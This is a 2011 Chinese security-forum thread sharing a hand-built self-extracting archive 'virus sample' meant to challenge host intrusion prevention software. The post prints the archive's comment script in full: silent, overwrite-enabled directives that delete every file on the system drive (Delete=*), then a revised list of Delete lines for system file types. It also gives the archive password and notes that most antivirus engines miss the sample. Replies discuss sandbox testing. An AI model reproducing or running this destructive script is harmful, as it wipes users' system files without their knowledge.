来一个自解压，欢迎HIPS党

显示全部楼层 · 发表于 2011-6-23 11:20:38

本帖最后由 zhousulin5 于 2011-6-23 15:13 编辑

全手工打造，破坏之王。走过路过，不要错过。
强烈建议不要实机测试。里面只是一张图片（改为一个文本文件了），要看效果，运行之后重启。威胁是来自自解压的注释：
Path=%systemdrive%
Silent=1
Overwrite=1
Delete=*

更新：
Path=%systemroot%\temp\MyTest
Silent=1
Overwrite=1
Delete=..\..\*.hlp
Delete=..\..\*.bmp
Delete=..\..\*.log
Delete=..\..\*.chm
Delete=..\..\*.fon
Delete=..\..\*.ttf
Delete=..\..\*.jpg
Delete=..\..\*.htm
Delete=..\..\*.wav
Delete=..\..\*.nt
Delete=..\..\*.msi
Delete=..\..\*.inf
Delete=..\..\*.ini
Delete=..\..\*.cab
Delete=..\..\*.mb
Delete=..\..\*.pol

解压密码：virus

显示全部楼层 · 发表于 2011-6-23 11:28:27

http://www.virustotal.com/file-s ... 2f0f44f2-1308798667
几乎全过
http://valkyrie.comodo.com/Resul ... ;filename=MyFun.exe
to eset

显示全部楼层 · 发表于 2011-6-23 11:33:20

本帖最后由 zhousulin5 于 2011-6-23 11:33 编辑

三生缘石发表于 2011-6-23 11:28
http://www.virustotal.com/file-s ... 18d027d173d2cfc8c2b ...

谢谢。
非HIPS党严禁运行。这个样本会试图删除你系统所在分区的所有文件。甚至，对HIPS党来说，这个样本也是一个巨大的挑战。再次声明，绝对不能实机运行。

显示全部楼层 · 发表于 2011-6-23 11:33:54

删除系统盘文件，真狠...

显示全部楼层 · 发表于 2011-6-23 11:37:27

zhousulin5 发表于 2011-6-23 11:33
谢谢。
非HIPS党严禁运行。这个样本会试图删除你系统所在分区的所有文件。甚至，对HIPS党来说，这个样 ...

样本从来不实机运行

显示全部楼层 · 发表于 2011-6-23 11:38:33

试试去、、、、、、、、、、、、、、、

显示全部楼层 · 发表于 2011-6-23 11:38:47

三生缘石发表于 2011-6-23 11:37
样本从来不实机运行

HIPS党毫无鸭梨，虚拟机党毫无鸭梨。

显示全部楼层 · 发表于 2011-6-23 11:40:35

蝉鸣时发表于 2011-6-23 11:38
HIPS党毫无鸭梨，虚拟机党毫无鸭梨。

运行了，重启过？

显示全部楼层 · 发表于 2011-6-23 11:40:38

蝉鸣时发表于 2011-6-23 11:38
HIPS党毫无鸭梨，虚拟机党毫无鸭梨。

偶只有sbie

显示全部楼层 · 发表于 2011-6-23 11:41:17

主防 KILL

[病毒样本] 来一个自解压，欢迎HIPS党

本帖子中包含更多资源

浏览过的版块